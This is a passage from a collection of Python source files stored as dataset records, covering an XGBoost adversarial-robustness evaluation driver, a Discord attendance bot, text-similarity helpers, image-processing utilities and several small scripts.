pass\n\n\nwith open(\"./europoundRates.json\", 'w', newline = '') as f:\n\tjson.dump(result, f)","sub_path":"spain/europound/datadownload.py","file_name":"datadownload.py","file_ext":"py","file_size_in_byte":1024,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"4141735","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Oct 14 18:14:27 2019\r\n\r\n@author: Ying\r\n\"\"\"\r\n\r\nimport pandas as pd\r\nimport xgboost as xgb\r\nimport numpy as np\r\nimport os\r\ncurr = os.getcwd()\r\nfind = curr.find('cai_cui')\r\nhome = curr[:find+7]\r\nos.chdir('{}/codes'.format(home))\r\nimport cheng_attack\r\nfrom sklearn.model_selection import train_test_split\r\n\r\ndatasets = ['breast_cancer', 'diabets', 'MNIST', 'Fashion_MNIST', 'MNIST2_6']\r\nnclasses = [2, 2, 10, 10, 2]\r\nn = len(datasets)\r\n\r\nfor i in range(n):\r\n model = xgb.Booster()\r\n model_path = '{}/models/xgb/{}_xgb.model'.format(home, datasets[i])\r\n model.load_model(model_path)\r\n test_df = pd.read_pickle('{}/chosen_sample/xgb/{}_xgb_samples.pkl'.format(home, datasets[i]))\r\n if test_df.shape[0] >= 1000:\r\n _, test_df = train_test_split(test_df, test_size = 200)\r\n\r\n\r\n test_df = test_df.reset_index(drop=True)\r\n test_data = np.array(test_df.drop(columns = ['label']))\r\n test_label = test_df['label'].tolist()\r\n dtest = xgb.DMatrix(test_data, label = test_label)\r\n\r\n ori_points = []\r\n results = []\r\n for tt in range(len(test_label)):\r\n s = test_data[tt]\r\n sl = test_label[tt]\r\n r = cheng_attack.attack(model, test_data, test_label, s, sl, nclasses, tt)\r\n ori_points.append(s)\r\n results.append(r)\r\n print('sample {} is done'.format(tt))\r\n\r\n\r\n total_dis = 0\r\n pert = pd.DataFrame()\r\n index = []\r\n points = []\r\n dis = []\r\n for (j, d, p) in results:\r\n index.append(j)\r\n points.append(p)\r\n dis.append(d)\r\n total_dis += d\r\n\r\n\r\n pert['index'] = index\r\n pert['distance'] = dis\r\n pert['pert point'] = points\r\n pert['ori point'] = ori_points\r\n os.chdir('{}/attack/cheng'.format(home))\r\n pert.to_csv('{}_cheng_attack_xgb.txt'.format(datasets[i]))\r\n with open('{}_cheng_xgb_ave.txt'.format(datasets[i]), 'w') as f:\r\n f.write('average distance: ' + str(total_dis/len(test_label)))\r\n\r\n f.close()\r\n print('{} is done'.format(datasets[i]))","sub_path":"codes/cheng_attack_driver.py","file_name":"cheng_attack_driver.py","file_ext":"py","file_size_in_byte":2032,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"345885928","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# File: embedding_data.py\n# Author: tensorpack contributors\n\nimport numpy as np\nfrom tensorpack.dataflow import BatchData\nimport sys\nsys.path.append('utils/')\nfrom sun09 import SUN09\nfrom tensorpack import *\n\ndef get_test_data(pathFile,batch=64):\n ds = SUN09(pathFile, 'test')\n ds = AugmentImageComponent(ds, [imgaug.Resize((224, 224))])\n ds = BatchData(ds, batch)\n return ds\n\n\ndef get_digits_by_label(images, labels):\n data_dict = []\n for clazz in range(0, 10):\n #clazz_filter = np.where(labels == clazz)\n #data_dict.append(list(images[clazz_filter].reshape((-1, 225, 225))))\n\n clazz_filter = [i for i, j in enumerate(labels) if j == clazz]\n images_clazz = [images[i] for i in clazz_filter]\n data_dict.append(images_clazz)\n return data_dict\n\n\nclass Sun09Pairs(SUN09):\n \"\"\"We could also write\n\n .. code::\n\n ds = dataset.Mnist('train')\n ds = JoinData([ds, ds])\n ds = MapData(ds, lambda dp: [dp[0], dp[2], dp[1] == dp[3]])\n ds = BatchData(ds, 128 // 2)\n\n but then the positives pairs would be really rare (p=0.1).\n \"\"\"\n def __init__(self, pathFile, train_or_test):\n super(Sun09Pairs, self).__init__(pathFile, train_or_test, shuffle=False)\n # now categorize these digits\n self.data_dict = get_digits_by_label(self.images, self.labels)\n\n def pick(self, label):\n idx = self.rng.randint(len(self.data_dict[label]))\n return self.data_dict[label][idx].astype(np.float32)\n\n def get_data(self):\n while True:\n y = self.rng.randint(2)\n if y == 0:\n pick_label, pick_other = self.rng.choice(10, size=2, replace=False)\n else:\n pick_label = self.rng.randint(10)\n pick_other = pick_label\n\n yield [self.pick(pick_label), self.pick(pick_other), y]\n\n\nclass Sun09Triplets(Sun09Pairs):\n def get_data(self):\n while True:\n pick_label, pick_other = self.rng.choice(10, size=2, replace=False)\n yield [self.pick(pick_label), self.pick(pick_label), self.pick(pick_other)]\n","sub_path":"examples/SimilarityLearning/spatial_relations_data.py","file_name":"spatial_relations_data.py","file_ext":"py","file_size_in_byte":2158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"186533540","text":"import sys\nfrom nltk.tokenize import sent_tokenize\n\n\ndef lines(a, b):\n linesa = set()\n linesb = set()\n\n for a in (a.splitlines( )):\n linesa.add(a)\n for b in (b.splitlines( )):\n linesb.add(b)\n linesa = linesa & linesb\n return list(linesa)\n\n\ndef sentences(a, b):\n sentencea = set(sent_tokenize(a))\n sentenceb = set(sent_tokenize(b))\n sentencea = sentencea & sentenceb\n return list(sentencea)\n\n\n\ndef substrings(a, b, n):\n substringseta = list()\n for i in range(len(a)):\n substringa = a[i:i+n]\n if len(substringa) == n:\n substringseta.append(substringa)\n\n substringsetb = list()\n for j in range(len(b)):\n substringb = b[j:j+n]\n if len(substringb) == n:\n substringsetb.append(substringb)\n substringcommon = set(substringseta).intersection(substringsetb)\n return substringcommon\n\n\n\n\n\n\n","sub_path":"similarities/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"428240961","text":"# General activation flag\nIS_ACTIVATED = False\n\n# The time period in sec when each agent is called. It is delay between starting time\n# Only once instance of each agent could be executed at the same time\n#\n\nPOLLING_TIME = {\n \"sample_agent\": 1,\n}\n\n#The deployment setting which activate/deactivate all agents executing in the app\nENABLE_SCHEDULER = True\n\nAPI_PREFIX = \"ops_console/api\"\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.sqlite3',\n 'NAME': 'dev.sqlite3'\n }\n}\n","sub_path":"opint_framework/apps/operators_console/conf/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"435664979","text":"import json\nimport argparse\nfrom django.core.management import base as mgmt\nfrom skills import persist\n\n\n\nclass Command(mgmt.BaseCommand):\n help = \"Serializes all skill data as a JSON file\"\n\n def add_arguments(self, parser):\n parser.add_argument('out_file',\n type=argparse.FileType('w', encoding='UTF-8'),\n help=\"the name of a file into which to save the skill data\")\n\n def handle(self, *args, **options):\n f = options['out_file']\n l = []\n try:\n l = list(persist.serialize())\n json.dump(l, f)\n finally:\n f.close()\n if options['verbosity']:\n self.stdout.write(self.style.SUCCESS(\"%d skills dumped\" % len(l)))\n","sub_path":"skills/management/commands/dumpskills.py","file_name":"dumpskills.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"158318832","text":"\n\"\"\"Attendance functionality\"\"\"\nimport os\nimport discord\nfrom discord import Embed\nfrom dotenv import load_dotenv\n\nload_dotenv()\nmain_bot = os.getenv('DICORD_BOT_NAME')\ntest_bot = os.getenv('TEST_BOT_NAME')\n\n###########################\n# Function: compute\n# Description: Finds attendees and absentees of class\n# Inputs:\n# - bot: bot that sends commands to test TeachersPetBot\n# - ctx: Context of the function activation\n# Outputs: None\n###########################\nasync def compute(bot, ctx):\n \"\"\"Only function that computes attendance\"\"\"\n if ctx.channel.name == 'instructor-commands':\n attendees = []\n absentees = []\n wanted_channel_id = 0\n\n for channel in ctx.guild.channels:\n if channel.name == \"General\":\n wanted_channel_id = channel.id\n\n audio_channel = bot.get_channel(wanted_channel_id)\n text_channel = bot.get_channel(ctx.channel.id)\n\n embed = Embed(title=\"Attendance Sheet\",\n colour=discord.Colour.blue())\n\n for attendee in audio_channel.members:\n attendees.append(attendee.name)\n if attendees:\n embed.add_field(name=f\"Attendees: {len(attendees)}\",\n value='\\n'.join(attendees), inline=True)\n else:\n embed.add_field(name=\"Attendees: 0\", value=\"None\", inline=True)\n\n for student in text_channel.members:\n if student.name not in attendees and \\\n student.name != main_bot and \\\n student.name != test_bot:\n absentees.append(student.name)\n if absentees:\n embed.add_field(name=f\"Absentees: {len(absentees)}\",\n value='\\n'.join(absentees), inline=True)\n else:\n embed.add_field(name=\"Absentees: 0\",\n value=\"None\", inline=True)\n await ctx.send(embed=embed)\n\n else:\n await ctx.message.delete()\n await ctx.send('Command runs only in the instructor-commands channel')\n","sub_path":"src/attendance.py","file_name":"attendance.py","file_ext":"py","file_size_in_byte":2041,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"38285454","text":"#-*-utf-8 -*-\n\n_a = 1\n_b = 2;\ndef compayNum(num1,num2):\n\tif (num1 > num2) :\n\t\treturn 1\n\telif (num1 == num2):\n\t\treturn 0\n\telse :\n\t\treturn -1\ndef printGrobal():\n\tglobal _a\n\tprint(globals())\n\tprint(dir())\n\t_a = 2\n\tprint(\"a :\", _a)\n\tpass\n\nif __name__ == '__main__':\n\timport random\n\tnum1 = random.randrange(1 , 9)\n\tnum2 = random.randrange(1 , 9)\n\tprint(\"num1我:%d\" %num1)\n\tprint(\"num2:%d\"%num2)\n\tprint(compayNum(num1, num2))\n\tprintGrobal()\n\tprint(\"a :\", _a)","sub_path":"python/second.py","file_name":"second.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"108506806","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nBoolean12. Uchta A, B, C butun sonlar berilgan. Jumlani rostlikka tekshiring: “A, B, C sonlarning\r\nhar biri musbat”.\r\n\r\nCreated on Wed Jun 30 18:00:02 2021\r\n\r\n@author: Mansurjon Kamolov\r\n\"\"\"\r\n\r\na=int(input('A='))\r\nb=int(input('B='))\r\nc=int(input('C='))\r\nprint(a>0 and b>0 and c>0)\r\n","sub_path":"boolean12.py","file_name":"boolean12.py","file_ext":"py","file_size_in_byte":316,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"494820247","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Nov 7 10:58:36 2020\n\n@author: minimilien\n\"\"\"\nfrom vaderSentiment.vaderSentiment import SentimentIntensityAnalyzer\nfrom joblib import dump, load\n\ndef analyse(phrase):\n analyser = load('analyser.joblib')\n var=analyser.polarity_scores(phrase)\n print(\"Negative score :\",var['neg'])\n print(\"Positive score :\",var['pos'])\n print(\"Neutral score :\",var['neu'])\n vals={var['neg']:'Negative',var['pos']:\"Positive\",var['neu']:\"Neutral\"}\n cols={var['neg']:'#BF4C50',var['pos']:\"#39c02f\",var['neu']:\"#000\"}\n sentiment=vals[max(var['neg'],var['pos'],var['neu'])],\n color=cols[max(var['neg'],var['pos'],var['neu'])]\n return sentiment,color\n\ndef create_model():\n analyser = SentimentIntensityAnalyzer()\n dump(analyser, 'analyser.joblib')","sub_path":"AI.py","file_name":"AI.py","file_ext":"py","file_size_in_byte":801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"50875767","text":"#Funksjon for å regne renter løpende\n#Rekursivt regne ut rentetotal\n\n\n\ndef renter_test (lånesum, rentesats):\n #Regne renter\n return lånesum * rentesats\n\ndef renter_rek (lånesum, inntekter, år, r):\n renter = lånesum * r\n ny_lånesum = (lånesum + renter) - inntekter\n år -= 1\n\n if år == 1:\n return renter\n else:\n return renter + renter_rek(ny_lånesum, inntekter, år, r)","sub_path":"Funksjoner/rentesum.py","file_name":"rentesum.py","file_ext":"py","file_size_in_byte":414,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"249419941","text":"# -*- coding:utf-8 -*- \n# 图片处理工具\n# Author:WangQi、tudoudou\n\nimport os\nimport random\nimport numpy as np\nimport math\nimport time\nfrom PIL import Image, ImageFont, ImageDraw\n\n\ndef img_uniform_scale(img_or_path, save_path=None, height_keep=50, width_keep=None):\n \"\"\" 图片缩放\n\n Args:\n img_or_path: PIL对象或者输入图片路径\n save_path: 输出图片路径\n height_keep: 保持高度为`height_keep` px,此时`width_keep`为`None`,则宽度保持等比缩放\n width_keep: 保持宽度为`width_keep` px,此时`height_keep`为`None`,则高度保持等比缩放\n Returns:\n 如果`save_path == None`,则返回处理完成的Image对象,否则在指定路径保存。\n \"\"\"\n\n if height_keep is None and width_keep is None:\n raise ValueError('height_keep and width_keep can not be `None` at the same time.')\n if (height_keep is not None and height_keep <= 0) or \\\n (width_keep is not None and width_keep <= 0):\n raise ValueError('height_keep OR width_keep must be greater than `0`.')\n\n if isinstance(img_or_path, str):\n img = Image.open(img_or_path)\n else:\n img = img_or_path\n\n img_size = img.size\n\n if height_keep is not None and width_keep is None:\n new_size = (int((float(img_size[0]) / img_size[1]) * height_keep), height_keep)\n elif width_keep is not None and height_keep is None:\n new_size = (width_keep, int((float(img_size[1]) / img_size[0]) * width_keep))\n else:\n new_size = (width_keep, height_keep)\n\n out = img.resize(new_size, Image.ANTIALIAS)\n if save_path:\n out.save(save_path)\n else:\n return out\n\n\ndef rm_white_bg(img_or_path, convert_pix_post=195, save_path=None):\n \"\"\" 移除黑白色的jpg图片中的白色背景,即将白色转换为透明色。返回一张png图片。\n\n Args:\n img_or_path: PIL对象或者输入图片路径\n convert_pix_post: 白色值转透明的像素下限,即大于等于195像素值就转为透明\n save_path: 修改后的图片保存路径\n\n Returns:\n 如果`save_path == None`,则返回处理完成的Image对象,否则在指定路径保存。\n \"\"\"\n\n if isinstance(img_or_path, str):\n img = Image.open(img_or_path)\n else:\n img = img_or_path\n\n png_img = img.convert('RGBA')\n png_arr = np.array(png_img)\n max_val_rgb = np.max(png_arr[:, :, :3], 2)\n tmp = np.maximum(max_val_rgb, convert_pix_post)\n tmp = np.equal(tmp, convert_pix_post) # 等于convert_pix_post意味着RGBA中A为255\n tmp = tmp.astype(np.uint8) * 255\n png_arr[:, :, 3] = tmp\n if save_path is not None:\n Image.fromarray(png_arr).save(save_path)\n else:\n return Image.fromarray(png_arr)\n\n\ndef png_paste(upper_pic, bg_pic, save_path=None, horizontal='center', vertical='center'):\n \"\"\"合并图片\n Args:\n upper_pic: 上图层图片路径或者PIL对象\n bg_pic: 背景图片路径或者PIL对象\n save_path: 合成图片路径\n horizontal: 水平位置选择,默认居中,可用参数:left(左) center(居中) right(右) random(随机)\n vertical: 垂直位置选择,默认居中,可用参数:top(顶部) center(居中) bottom(底部) random(随机)\n\n Returns:\n 如果`save_path == None`,则返回处理完成的Image对象,否则在指定路径保存。\n\n 示例位置:\\n\n ver\\\\\\hor \\t left \\t align \\t right \\n\n top \\n\n align \\n\n bottom\n \"\"\"\n\n if isinstance(upper_pic, str):\n upper_pic = Image.open(upper_pic)\n if isinstance(bg_pic, str):\n bg_pic = Image.open(bg_pic)\n if bg_pic.size[0] < upper_pic.size[0] or bg_pic.size[1] < upper_pic.size[1]:\n raise ValueError('bg_pic(background picture) must bigger of upper_pic(front picture).')\n if horizontal not in ['left', 'center', 'right', 'random']:\n raise ValueError('horizontal must in left, center, right or random.')\n if vertical not in ['top', 'center', 'bottom', 'random']:\n raise ValueError('vertical must in top, center, bottom or random.')\n\n if horizontal == 'left':\n x = 0\n elif horizontal == 'center':\n x = (bg_pic.size[0] - upper_pic.size[0]) / 2\n elif horizontal == 'right':\n x = bg_pic.size[0] - upper_pic.size[0]\n else:\n x = (bg_pic.size[0] - upper_pic.size[0]) * random.random()\n if vertical == 'top':\n y = 0\n elif vertical == 'center':\n y = (bg_pic.size[1] - upper_pic.size[1]) / 2\n elif vertical == 'bottom':\n y = bg_pic.size[1] - upper_pic.size[1]\n else:\n y = (bg_pic.size[1] - upper_pic.size[1]) * random.random()\n\n try:\n bg_pic.paste(upper_pic, (int(x), int(y)), mask=upper_pic)\n except:\n print('upper_pic(front picture)\\'s type is not RGBA.')\n bg_pic.paste(upper_pic, (int(x), int(y)))\n\n if save_path:\n bg_pic.save(save_path)\n else:\n return bg_pic\n\n\ndef clip(img_or_path, save_path=None):\n \"\"\"裁剪图片主要内容\n\n Args:\n img_or_path: 图片或者PIL对象\n save_path: 保存路径\n\n Returns:\n 如果`save_path == None`,则返回处理完成的Image对象,否则在指定路径保存。\n \"\"\"\n\n if isinstance(img_or_path, str):\n img = Image.open(img_or_path)\n else:\n img = img_or_path\n\n img = rm_white_bg(img)\n a = np.array(img.split()[3]) # 提取 Alpha 通道\n\n if a.shape[0] <= 0 and a.shape[1] <= 0:\n raise ValueError('This img\\'s must bigger 0')\n\n def _clip(list):\n \"\"\"返回列表第一个正数\n\n Args:\n list: 待判断列表\n\n Returns:\n 列表第一个正数,若没有,返回0\n \"\"\"\n index = 0\n for i in list:\n if i > 0:\n return index\n index += 1\n return 0\n\n x = a.sum(axis=0)\n y = a.sum(axis=1)\n x1 = _clip(x)\n x_ = x[::-1]\n x2 = len(x) - _clip(x_)\n y1 = _clip(y)\n y_ = y[::-1]\n y2 = len(y) - _clip(y_)\n\n img = img.crop((x1, y1, x2, y2)) # 裁剪图片\n\n if save_path:\n return img.save(save_path)\n else:\n return img\n\n\ndef font2img(font, char, save_path=None, font_size=50, img_size=None, font_pos='middle', font_color=None):\n \"\"\"利用字体库生成包含指定字符的png图片或者PIL对象\n\n Args:\n font: 字体文件路径\n char: 需要生成图片的一个字符\n save_path: 生成图片存储路径\n font_size: 字体大小\n font_pos: 文字生成位置,默认为`middle`中部,还可设置为`random`随机\n font_color: 字体颜色,默认为随机\n\n Returns:\n 如果`save_path == None`,则返回处理完成的Image对象,否则在指定路径保存。\n \"\"\"\n\n if font_pos not in ['middle', 'random']:\n raise ValueError('font_pos is must in middle or random')\n if not font_color:\n font_color = random.randint(0, 256) + random.randint(0, 256) * 255 + random.randint(0, 256) * 255 * 255\n if len(char) != 1:\n raise ValueError('char is not longer than two chars')\n\n font = ImageFont.truetype(font, font_size)\n m, n = font.getsize(char)\n\n if img_size is None:\n img_size = [m, n]\n im = Image.new(\"RGB\", img_size, (255, 255, 255))\n dr = ImageDraw.Draw(im)\n\n if m > img_size[0] or n > img_size[1]:\n raise OverflowError('This font\\'s size is out img_size')\n\n if font_pos == 'middle':\n x, y = (img_size[0] - m) / 2, (img_size[1] - n) / 2\n else:\n x, y = random.random() * (img_size[0] - m), random.random() * (img_size[1] - n)\n\n dr.text((x, y), char, font=font, fill=font_color)\n\n if save_path:\n if not os.path.exists(os.path.join(save_path, char)):\n os.makedirs(os.path.join(save_path, char))\n im.save(os.path.join(save_path, char, char) + str(time.time())[-15:-3]+ '.png')\n else:\n return im\n\n\ndef img_concat(imgs, direction='horizontal', fixed_edge=None, align='middle', img_margin=None, save_path=None):\n ''' 横向或者纵向拼接imgs\n\n Args:\n imgs: 多个png图片列表,每张图片都是PIL对象\n direction: 纵向`vertical` 或者 横向`horizontal`拼接图片\n fixed_edge: 固定一条边进行缩放,当缩放高时,分别为`min_height`或者`max_height`或者为数值;\n 当缩放宽时,分别为`min_height`或者`max_height`或者为数值;\n 当无需缩放时,可以为`None`\n align: 图片对齐方式,包括居中`middle`,居左`left`,居右`right`,居上`top`,居下`bottom`,\n 当`direction='horizontal'`时,可以填写居中`middle`,居上`top`,居下`bottom`,\n 当`direction='vertical'`时,可以填���居中`middle`,居左`left`,居右`right`。\n img_margin: 拼接图片之间的间隔,可以为`None`或者一个数值,或者一个范围。指定范围是会随机取范围中的一个值。\n save_path: 拼接后的图片存储路径\n\n Returns:\n 如果`save_path == None`,则返回处理完成的Image对象,否则在指定路径保存。\n '''\n for i in range(len(imgs)):\n assert imgs[i].mode == 'RGBA'\n\n if direction == 'horizontal':\n if fixed_edge == 'min_width' or fixed_edge == 'max_width':\n raise ValueError('when direction=\"horizontal\", doesn\\'t fixed width')\n if align == 'left' or align == 'right':\n raise ValueError('when direction=\"horizontal\", doesn\\'t set align=\"left\" OR align=\"right\"')\n else:\n if fixed_edge == 'min_height' or fixed_edge == 'max_height':\n raise ValueError('when direction=\"vertical\", doesn\\'t fixed height')\n if align == 'top' or align == 'bottom':\n raise ValueError('when direction=\"vertical\", doesn\\'t set align=\"top\" OR align=\"bottom\"')\n\n if isinstance(fixed_edge, int):\n if fixed_edge <= 0:\n raise ValueError('height_keep OR width_keep must be greater than `0`.')\n\n def get_min_max_edge(imgs, mode='height'):\n if mode == 'height':\n idx = 1\n else:\n idx = 0\n min = 99999999999\n max = 0\n for i in range(len(imgs)):\n if imgs[i].size[idx] > max:\n max = imgs[i].size[idx]\n if imgs[i].size[idx] < min:\n min = imgs[i].size[idx]\n return min, max\n\n def zero_pad_img(img, mode, width, height):\n if width:\n width = width - img.size[0]\n if height:\n height = height - img.size[1]\n img = np.array(img)\n left = right = top = bottom = 0\n if mode == 'middle':\n if width is None:\n top = math.ceil(height / 2.)\n bottom = height - top\n else:\n left = math.ceil(width / 2.)\n right = width - left\n elif mode == 'left':\n right = width\n elif mode == 'right':\n left = width\n elif mode == 'top':\n bottom = height\n else:\n top = height\n img = np.pad(img, [[top, bottom], [left, right], [0, 0]], 'constant')\n return Image.fromarray(img)\n\n def concat(imgs, direction='horizontal', img_margin=None):\n imgs = [np.array(img) for img in imgs]\n if direction == 'horizontal':\n if img_margin:\n if isinstance(img_margin, int):\n margin = img_margin\n else:\n if (isinstance(img_margin, tuple) or isinstance(img_margin, list)) \\\n and len(img_margin) == 2:\n margin = random.randint(img_margin[0], img_margin[1])\n else:\n ValueError('`img_margin` type must be one of None、int、tuple、list')\n num_imgs = len(imgs)\n imgs_ = [np.pad(img, [[0, 0], [0, margin], [0, 0]], 'constant') \\\n for idx, img in enumerate(imgs) if idx < (num_imgs - 1)]\n imgs_.append(imgs[-1])\n res = np.concatenate(imgs_, 1)\n else:\n if img_margin:\n if isinstance(img_margin, int):\n margin = img_margin\n else:\n if (isinstance(img_margin, tuple) or isinstance(img_margin, list)) \\\n and len(img_margin) == 2:\n margin = random.randint(img_margin[0], img_margin[1])\n else:\n ValueError('`img_margin` type must be one of None、int、tuple、list')\n num_imgs = len(imgs)\n imgs_ = [np.pad(img, [[0, margin], [0, 0], [0, 0]], 'constant') \\\n for idx, img in enumerate(imgs) if idx < (num_imgs - 1)]\n imgs_.append(imgs[-1])\n res = np.concatenate(imgs_, 0)\n return Image.fromarray(res)\n\n if fixed_edge == 'max_width':\n # 将所有图片的宽固定为图片中的最大宽度\n _, max_width = get_min_max_edge(imgs, 'width')\n imgs = [img_uniform_scale(img, None, None, max_width) for img in imgs]\n elif fixed_edge == 'min_width':\n # 将所有图片的宽固定为图片中的最小宽度\n min_width, _ = get_min_max_edge(imgs, 'width')\n imgs = [img_uniform_scale(img, None, None, min_width) for img in imgs]\n elif fixed_edge == 'max_height':\n # 将所有图片的高固定为图片中的最大高度\n _, max_height = get_min_max_edge(imgs, 'height')\n imgs = [img_uniform_scale(img, None, max_height, None) for img in imgs]\n elif fixed_edge == 'min_width':\n # 将所有图片的高固定为图片中的最小高度\n min_height, _ = get_min_max_edge(imgs, 'width')\n imgs = [img_uniform_scale(img, None, min_height, None) for img in imgs]\n\n if direction == 'horizontal':\n if isinstance(fixed_edge, int):\n imgs = [img_uniform_scale(img, None, fixed_edge, None) for img in imgs]\n if fixed_edge is None:\n _, max_height = get_min_max_edge(imgs, 'height')\n imgs = [zero_pad_img(img, align, None, max_height) for img in imgs]\n else:\n if isinstance(fixed_edge, int):\n imgs = [img_uniform_scale(img, None, None, fixed_edge) for img in imgs]\n if fixed_edge is None:\n _, max_width = get_min_max_edge(imgs, 'width')\n imgs = [zero_pad_img(img, align, max_width, None) for img in imgs]\n res_img = concat(imgs, direction, img_margin)\n if save_path:\n res_img.save(save_path)\n else:\n return res_img\n\n\nclass ImgRepo(object):\n '''从图片文件夹中生成指定大小的图片'''\n def __init__(self, img_dir):\n '''根据图片文件夹`img_dir`中的文件随机生成指定大小的图片\n 当图片文件夹中的图片比生成的目标图片小时,可自动补0\n \n Args:\n img_dir: 背景图片文件夹\n '''\n self.all_path = []\n self.img_idx = 0\n for name in os.listdir(img_dir):\n path = os.path.join(img_dir, name)\n if os.path.isfile(path):\n if os.path.splitext(path)[1] == '.jpg' or os.path.splitext(path)[1] == '.png':\n self.all_path.append(path)\n print('There are %d pictures in total.' % len(self.all_path))\n\n def get_one(self, size=[336, 224], save_path=None):\n '''生成一张指定大小的背景图片,返回PIL.Image对象或者一张图片。\n \n Args: \n size: 生成的图片大小\n save_path: 输出图片路径\n Returns:\n 如果`save_path == None`,则返回处理完成的Image对象,否则在指定路径保存。\n '''\n while True:\n try:\n if self.img_idx == len(self.all_path):\n self.img_idx = 0\n img = Image.open(self.all_path[self.img_idx])\n except OSError:\n self.img_idx += 1\n print('read image faile!')\n else:\n self.img_idx += 1\n break\n\n pad_width = pad_height = 0\n if img.size[0] < size[0]:\n pad_width = size[0] - img.size[0]\n if img.size[1] < size[1]:\n pad_height = size[1] - img.size[1]\n\n if pad_width != 0 or pad_height != 0:\n img = np.array(img)\n img = img.reshape([img.shape[0], img.shape[1], -1])\n img = np.pad(img, [[0, pad_height], [0, pad_width], [0, 0]], mode='constant')\n if img.shape[-1] == 1:\n img = img.reshape([img.shape[0], img.shape[1]])\n img = Image.fromarray(img)\n\n wider = img.size[0] - size[0]\n higher = img.size[1] - size[1]\n\n left = random.randint(0, wider)\n right = left + size[0]\n upper = random.randint(0, higher)\n lower = upper + size[1]\n \n try:\n img = img.crop([left, upper, right, lower])\n except OSError:\n print('crop faile')\n img = self.get_one(size, save_path)\n\n return img\n\n\n# if __name__ == '__main__':\n# pass\n# #\n# # test fn\n# #\n# # img_uniform_scale(\n# # '../data/processed_data/HWDB1.1/images/train/1002-c/阿606666.png',\n# # '/tmp/test.png',\n# # 140, 240)\n#\n# im1 = Image.open('../data/processed_data/HWDB1.1/images/train/1002-c/阿606666.png')\n# im2 = Image.open('../data/processed_data/HWDB1.1/images/train/1002-c/矮606675.png')\n# img_concat([im1, im2], direction='vertical', align='middle', save_path='/tmp/test2.png', img_margin=[10, 300])\n","sub_path":"util/img_tools.py","file_name":"img_tools.py","file_ext":"py","file_size_in_byte":17744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"500046728","text":"import cv2\nimport numpy as np\nfrom bright.bright_function import edge_enhancement\nfrom num_detect.detect_function import detect, warp\nimport num_detect.number_geom as geom\n\n# boundaryR = [([5, 5, 255], [20, 100, 255])] # RED\nboundaryR = [([1, 5, 200], [20, 120, 255])] # RED\nlowerR = np.array(boundaryR[0][0], dtype='uint8')\nupperR = np.array(boundaryR[0][1], dtype='uint8')\n\ndef detect_stop_sign(image):\n flag = None\n lowerR = np.array(boundaryR[0][0], dtype='uint8')\n upperR = np.array(boundaryR[0][1], dtype='uint8')\n img = edge_enhancement(image)\n alpha = 1.5\n beta = 50\n res = cv2.convertScaleAbs(img, alpha = alpha, beta = beta)\n hsv = cv2.cvtColor(res, cv2.COLOR_BGR2HSV)\n H, S, V = cv2.split(hsv)\n S = S + 50\n hsvR = cv2.merge((H, S, V))\n kernel = np.ones((3, 3), np.uint8)\n maskR = cv2.inRange(hsvR, lowerR, upperR)\n maskR = cv2.morphologyEx(maskR, cv2.MORPH_CLOSE, kernel)\n maskR = cv2.morphologyEx(maskR, cv2.MORPH_OPEN, kernel)\n cntR, max_cntR, approx_cntR = geom.find_main_contour_approx(maskR)\n try:\n shapeR, thresh = detect(max_cntR, maskR)\n if shapeR == 'octagon' and cv2.countNonZero(maskR) > 1000:\n cv2.putText(hsv, 'STOP', (image.shape[1]-100, image.shape[0]-20), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 0, 255), 2)\n flag = True\n\n except:\n pass\n return hsv, flag","sub_path":"revised_version/num_detect/stopdetect.py","file_name":"stopdetect.py","file_ext":"py","file_size_in_byte":1374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"616225557","text":"# Make into Dictionary\ndef count_letters(words):\n number_letters = {}\n for x in words:\n letters = len(x)\n number_letters[x] = letters\n return number_letters\n\n\nwords = []\nchoice = \"\"\nwhile choice != 's':\n choice = input(\"Would you like to (a)dd words to the word list or (s)top?\\n>\").lower()\n if choice == 'a':\n word = input(\"Type in the word:\\n>\")\n words.append(word)\n print(words)\n elif choice == 's':\n break\n else:\n print(\"Invalid Option\")\n\nword_list = count_letters(words)\nprint(word_list)\n","sub_path":"practice/countletters.py","file_name":"countletters.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"274718649","text":"\"\"\"\nMethods for retrieving computer specific variables.\n\nThe class EnvironmentVariables retrieves items\n\"\"\"\nimport os\nimport pickle\nimport warnings\n\n\ndef get_contents(path):\n \"\"\"\n Retrieves the contents of the specified path\n :param path: path to file\n :return:\n \"\"\"\n with open(path, 'rt') as file:\n out = file.readlines()\n return [line.strip() for line in out]\n\n\ndef convert_to_dict(lst):\n \"\"\"\n Converts a retrieved list of values to dictionary format\n\n :param lst: incoming list of lines read from a file\n :return:\n \"\"\"\n return {\n key: val for key, val in 